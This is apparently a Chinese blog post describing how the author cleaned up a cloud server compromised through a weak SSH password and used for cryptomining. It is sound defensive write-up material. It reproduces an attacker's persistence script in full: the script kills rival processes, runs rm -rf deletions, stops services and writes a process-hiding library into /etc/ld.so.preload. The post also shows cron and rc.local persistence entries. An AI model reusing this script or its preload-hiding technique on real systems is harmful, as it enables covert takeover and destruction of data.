分享服務器被入侵的處理過程
目錄
- 一、服務器入侵現(xiàn)象
- 二、服務器排查和處理
- 2.1、服務器被入侵的可能原因
- 2.2、排查和處理步驟
- 三、本次入侵需要帶來啟示的點
- 四、本次服務器被入侵的一些啟示
下文中的,給文件和目錄加鎖,是指給文件和目錄增加了一些屬性,只讀等。 chattr +ia
一、服務器入侵現(xiàn)象
近期有一個朋友的服務器(自己做了網(wǎng)站)好像遭遇了入侵,具體現(xiàn)象是: 服務器 CPU
資源長期 100%,負載較高。 服務器上面的服務不能正常提供服務。
朋友處理了一會沒有解決,我開始想說我不是搞安全的,我怎么會,但朋友開出了天價,一頓海底撈,我在生活和現(xiàn)實面前低頭了。 開始上手看看了。
二、服務器排查和處理
2.1、服務器被入侵的可能原因
- 服務器
ssh
密碼 設置得很簡單。 - 騰訊云安全組范圍放得很大。
- 使用了寶塔,寶塔面板的密碼也是很簡單的密碼(應該不是這個入侵入口)。
2.2、排查和處理步驟
ps -ef
/ top
找出占用進程最大的服務
問題現(xiàn)象
ps/top
命令 已經(jīng)被替換了。
查找詳細的入侵痕跡 last
或者 grep 'Accepted' /var/log/secure
。
問題現(xiàn)象
[root@VM-12-12-centos ~]# grep 'Accepted' /var/log/secure
Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8
lighthouse 騰訊云輕量服務器
我們在這里就可以看到,有一些境外IP 34.215.138.2
成功登錄了,這些 IP
不是我們的正常登錄。 在 /var/log/secure
日志里,我看到了 IP 34.215.138.2
嘗試登錄不到500次 就已經(jīng)破解成功了。
處理措施
這里我們立馬采取了第一個措施,
- 在騰訊云安全組限制了 SSH 的登錄
IP
, 之前的安全組 SSH 是放行所有IP
。 - 將 SSH ROOT 密碼修改。
/root/.ssh/authorized_keys
備份,并清空。
[root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bakcp: cannot create regular file ‘/root/.ssh/authorized_keys.bak": Permission denied
這時我們就遇到了權(quán)限的問題,這個晚點展開講,因為我們已經(jīng)限制了源IP
, 所以這個我們可以晚點來處理。
3.查看最近新增的一些用戶
問題現(xiàn)象
cat /etc/passwd
處理措施
鎖定用戶
[root@VM-12-12-centos ~]# usermod -L sys1
4.我這里不計劃去找進程(已經(jīng)在新建一臺版本一致的系統(tǒng), 來拷貝 top
和 ps
命令,需要一小會,我們趁這個時間,先看看其他),因為之前朋友重啟過服務器,發(fā)現(xiàn)服務器啟動過一會才會負載較高。我認為入侵者應該放了一些定時任務和啟動腳本里面。
問題現(xiàn)象
定時任務
crond
讀取配置文件會從以下幾個路徑讀取:
/var/spool/cron/
, 由crontab -e
進行寫入,配置文件無需指定用戶/etc/crontab
,只能root
進行編輯,配置文件需指定用戶/etc/cron.d/
,在此文件夾下創(chuàng)建定時任務文件,配置文件需指定用戶/etc/cron.*
/var/spool/cron/
未找到(后面會說到這里有障眼法)
/etc/crontab
未找到(后面會說到這里有障眼法)
但是我在 /var/log/cron
一直看到有任務執(zhí)行。每間隔5分鐘。
Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )
Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
處理措施
這里我們先做的操作就是,先把 /usr/lib/mysql/mysql
和 /sbin/httpss
給刪除。刪除的時候還是提示沒有權(quán)限。我們知道這些文件應該是加瑣了,所以我開始解鎖,我們發(fā)現(xiàn) chattr
也被替換和鎖住了。 所以不能操作下去了。
開機啟動腳本
/etc/rc.local
, 我們也發(fā)現(xiàn)了一個腳本。
[root@VM-12-12-centos ~]# cat /etc/rc.local
#!/bin/bash
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.
/usr/bin/0f4f80f9ab start
但是這個文件好像不存在的,我們就把這個給注釋了。
5.還原更改了 top
、ps
、chattr
、lsattr
.
- 首先我們從相同版本的機器拷貝了
chattr
、lsattr
, 我們得先操作這個, 因為我們的top
和ps
都被鎖住了。 - 我將文件上傳至
/tmp
目錄,然后增加可執(zhí)行權(quán)限,然后先給/usr/bin/chattr
解除鎖定。
/tmp/chattr -ai /usr/bin/chattr
- 執(zhí)行完之后,發(fā)現(xiàn)還是不能替換
/usr/bin/chattr
。 最后耗費了一段時間才反應到,入侵者可能不僅僅加鎖了文件還加鎖了/usr/bin/
。 - 解鎖目錄
/tmp/chattr -ai /usr/bin/
- 這下才能把
/usr/bin/chattr
給替換掉。 - 接下來參考這些,我們把
top
和ps
、lsattr
給還原了。
部分截圖
三、本次入侵需要帶來啟示的點
ps
、top
、chattr
、lsattr
在這些命令被替換了,并且我們想還原又還原不了的場景,我們可以拷貝同版本的機器相同的命令放在其它目錄,用這些命令來解除入侵者將它已經(jīng)替換并鎖定了文件。 注意有些入侵者不僅會在文件層面加鎖,還會在當前的文件的目錄這一層加鎖。我之前在這個上面困惑了一段時間。
文件內(nèi)容隱藏
上文中,我執(zhí)行 crontab -l
和 cat 查看 /etc/cron.d/
下面的文件。發(fā)現(xiàn)文件沒有內(nèi)容。
其實不知道使用了什么特殊字符還是什么隱藏了, 其實是存在定時任務的。
示例:
這個配置是如何導致 cat/more 看不了的, 今天再次看了下,這個文件可能是被當成了數(shù)據(jù)文件,因為我把這個文件 file 查看了之后,文件屬性是data. 然后文件包含的特殊字符。導致隱藏了,具體的有知道的大佬可以告知下。
其中一個腳本。
[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 #!/bin/shwhile test 1 = 1dosleep 30pkill -f mainkillall mainkillall sprshduerjsaiapkill -f sprshduerjsaiakillall dr64pkill -f dr64killall .report_systempkill -f .report_systemkillall sshcpkill -f sshcpkill -f memorykillall memorykillall warmupkillall kokokillall kthreaddkkillall systemckillall crontkillall xm64_linuxkillall /var/tmp/j/./intelshellpkill -f dos32pkill -f dos64pkill -f .namepkill -f /usr/sbin/dbuspkill -f systemd-boot-check-no-failureskillall .report_systempkill -f .report_systempkill -f keep-alivepkill -f linupkill -f zappppkillall [scan]killall [ext4]pkill -f xm64_linuxpkill -f ddrirckillall ./-bashpkill -f ./-bashkillall kworkerskillall dbuspkill -f biden1pkill -f cpuminer-sse2killall work64pkill -f work64killall work32pkill -f work32killall aarch12pkill -f aarch12killall bash1pkill -f bash1killall intelshellpkill -f intelshellkillall heavenpkill -f heavenkillall .syst3mdpkill -f .syst3mdpkill -f apachelogskillall .meinkampfpkill -f .meinkampfkillall xripkill -f xrikillall kokopkill -f kokokillall work32-deamonpkill -f work32-deamonkillall work64 -deamonpkill -f work64 -deamonkillall secure.shpkill -f secure.shkkillall auth.shpkill -f auth.shkillall autoupdatepkill -f kworkerspkill -f autoupdatekillall ld-linuxpkill -f ld-linuxpkill -9 Donaldkillall -9 Donaldpkill -f /usr/local/bin/pnscanpkill -f /usr/bin/biden1killall /usr/bin/biden1killall rkillall tracepkill -f minerdkillall minerdpkill -f xm64killall xm64pkill -f sysdmkillall sysdmpkill -f syst3mdkillall syst3mdpkill -f xrigkillall xrigpkill -f busyboxkillall busyboxpkill -f josephkillall josephpkill -f osamakillall osamakillall daemonpkill -f obama1killall obama1pkill -f kswapd0killall kswapd0pkill -f jehgmskillall jehgmspkill -f tsmkillall tsmpkill -f rigkillall rigpkill -f xmrkillall xmrpkill -f playstationkillall playstationpkill -f ld-linux-x86-64killall ld-linux-x86-64pkill -f ruckusapdkillall ruckusapdpkill -f run64killall run64pkill -f pwnrigkillall pwnrigpkill -f phpupdatekillall phpupdatepkill -f sysupdatekillall sysupdatepkill -f phpguardkillall phpguardpkill -f firstpresskillall firstpresspkill -f zerocertkillall zerocertpkill -f masscankillall masscanpkill -f -bashpkill -f spreadQlmnopkillall spreadQlmnopkillall -bashpkill -f cnrigkillall cnrigpkill -f netvhostkillall netvhostpkill -f kthreaddskillall kthreaddspkill -f kthreaddkillall kthreaddpkill -f kdevtmpfsikillall kdevtmpfsipkill -f linuxservicekillall linuxservicepkill -f rtmonitorkillall rtmonitorpkill -f devkillall devpkill -f xmrigkillall xmrigpkill -f masterkillall masterkillall sysmdpkill -f sysmdpkill -f sendmailkillall sendmailpkill -f ld-musl-x86_64.killall ld-musl-x86_64.killall watchdogpkill -f watchdogpkill -f 32678killall 32678killall dhpcdpkill -f dhpcdkillall linux_amd64pkill -f linux_amd64killall xredispkill -f xrediskillall Linux2.6killall .chornydpkill -f .chornydkillall Operapkill -f Operakillall libertydpkill -f libertydkillall rcubindpkill -f rcubindkillall clamscanpkill -f clamscankillall pnscanpkill -f pnscankillall zzhpkill -f zzhkillall bioserpkill -f bioserrm -rf /root/.configrc/rm -rf /tmp/.X26-unix/rm -rf /tmp/.bash/rm -rf /root/.bash/rm -rf /root/.cache/rm -rf /tmp/.cache/rm -rf /dev/shm/.ssh/rm -rf /etc/.etcservice/linuxservicerm -rf /etc/.vhost/netvhostrm -rf /tmp/up.txtrm -rf /var/tmp/.update/rm -rf /var/tmp/.systemd/rm -rf /usr/sbin/.bash./.bash/rm -rf /etc/masterrm -rf /usr/bin/busyboxrm -rf /bin/sysmdrm -rf /tmp/.mx/rm -rf /dev/shm/.mx/rm -rf /usr/bin/xrigrm -rf /etc/32678rm -rf /root/c3pool/rm -rf /usr/bin/.sshd/rm -rf /tmp/divsystemctl stop c3pool_miner.servicesystemctl stop pwnriglhttps.servicesystemctl stop crytosystemctl stop scansystemctl stop botsystemctl stop myservice.servicesystemctl stop netns.servicesystemctl stop cryptsetup.serviceecho /usr/local/lib/libprocesshider.so > /etc/ld.so.preloadlockr +ai /etc/ld.so.preload >/dev/null 2>&1chmod 777 /usr/lib/mysql/*/usr/lib/mysql/./mysqldone
我們可以看到這個腳本其實一直在 更改 /etc/ld.so.preload
的內(nèi)容。 并且在關閉一些掃描軟件和系統(tǒng)的服務。
在 Linux 操作系統(tǒng)的動態(tài)鏈接庫加載過程中,動態(tài)鏈接器會讀取 LD_PRELOAD 環(huán)境變量的值和默認配置文件 /etc/ld.so.preload 的文件內(nèi)容,并將讀取到的動態(tài)鏈接庫進行預加載,即使程序不依賴這些動態(tài)鏈接庫,LD_PRELOAD 環(huán)境變量和 /etc/ld.so.preload 配置文件中指定的動態(tài)鏈接庫依然會被裝載,它們的優(yōu)先級比 LD_LIBRARY_PATH 環(huán)境變量所定義的鏈接庫查找路徑的文件優(yōu)先級要高,所以能夠提前于用戶調(diào)用的動態(tài)庫載入。
——段落引自《警惕利用 Linux 預加載型惡意動態(tài)鏈接庫的后門》
我已經(jīng)刪除了 /usr/local/lib/libprocesshider.so
文件,之后每次執(zhí)行命令會有這個報錯。
我在清空文件 /etc/ld.so.preload
之后,我發(fā)現(xiàn)好了一會后,還是出現(xiàn)這個,我再看 /etc/ld.so.preload
文件,里面又寫了 /usr/local/lib/libprocesshider.so
,我懷疑還有定時任務,但是我找了一會定時任務,還是沒有找到。 后面在查看異常進程的時候,我看到了這個進程
發(fā)現(xiàn)這個腳本的就是一直在循環(huán)執(zhí)行上面內(nèi)容。 將這個進程 kill 后,然后刪除腳本。
四、本次服務器被入侵的一些啟示
- 用好云廠家的安全組。對一些關鍵端口,放行規(guī)則盡量最小/
- 服務器相關的一些密碼盡量增加復雜性。
- 增加對一些關鍵文件的監(jiān)控. (通過監(jiān)控軟件監(jiān)控 md5值)
- /etc/passwd
- /etc/shadow
- /etc/group
- /root/.bash_history
- /root/.ssh/authorized_keys
- /etc/ssh/sshd_config
- /etc/profile
- /var/spool/cron/root
- /etc/crontab
- /etc/ld.so.preload
- /etc/rc.local
- lsof
- ps
- netstat
- top
- ls
- pstree
- last
- history
- sudo
- password
chattr
lsattr
4.服務器入侵之后,我們需要怎么處理才是最好的。
1.服務器如果有開放SSH 遠程登錄,可以設置限制登錄(安全組、或者服務),只放行自己的IP
. 查找詳細的入侵痕跡 last
或者 grep 'Accepted' /var/log/secure
/root/.ssh/authorized_keys /etc/passwd 這些文件也可以看下。將一些新建的用戶鎖定。
2.服務器如果可以關閉外網(wǎng),就關閉外網(wǎng)。 在安全組層面設置下,或者路由或者NAT。
3.首先看下 ps/top
命令有沒有被篡改, 如果有的話, 從其他正常的機器上拷貝至服務器上。 然后執(zhí)行查看異常進程。也要查詢下 /etc/ld.so.preload
是否有被篡改。如果有的的話,記得清空里面的內(nèi)容,然后將對應的文件刪除或者重命名。
如果使用過程中遇到了文件不可刪,不可改的問題,需要使用 chattr -ia 文件名
如果 chattr
也被串改,那就需要從別的機器拷貝。然后復原。
4.如果上述沒有找到,可以通過 netstat
間接查看異常的連接從而查詢異常進程。
5.檢查開機啟動 和 crontab
相關的內(nèi)容 。
6.檢查異常進程。
以上就是這次入侵的處理過程和得到的一些小啟示,后續(xù)有了解新的會繼續(xù)補充。
到此這篇關于分享服務器被入侵的處理過程的文章就介紹到這了,更多相關服務器入侵處理內(nèi)容請搜索以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持!
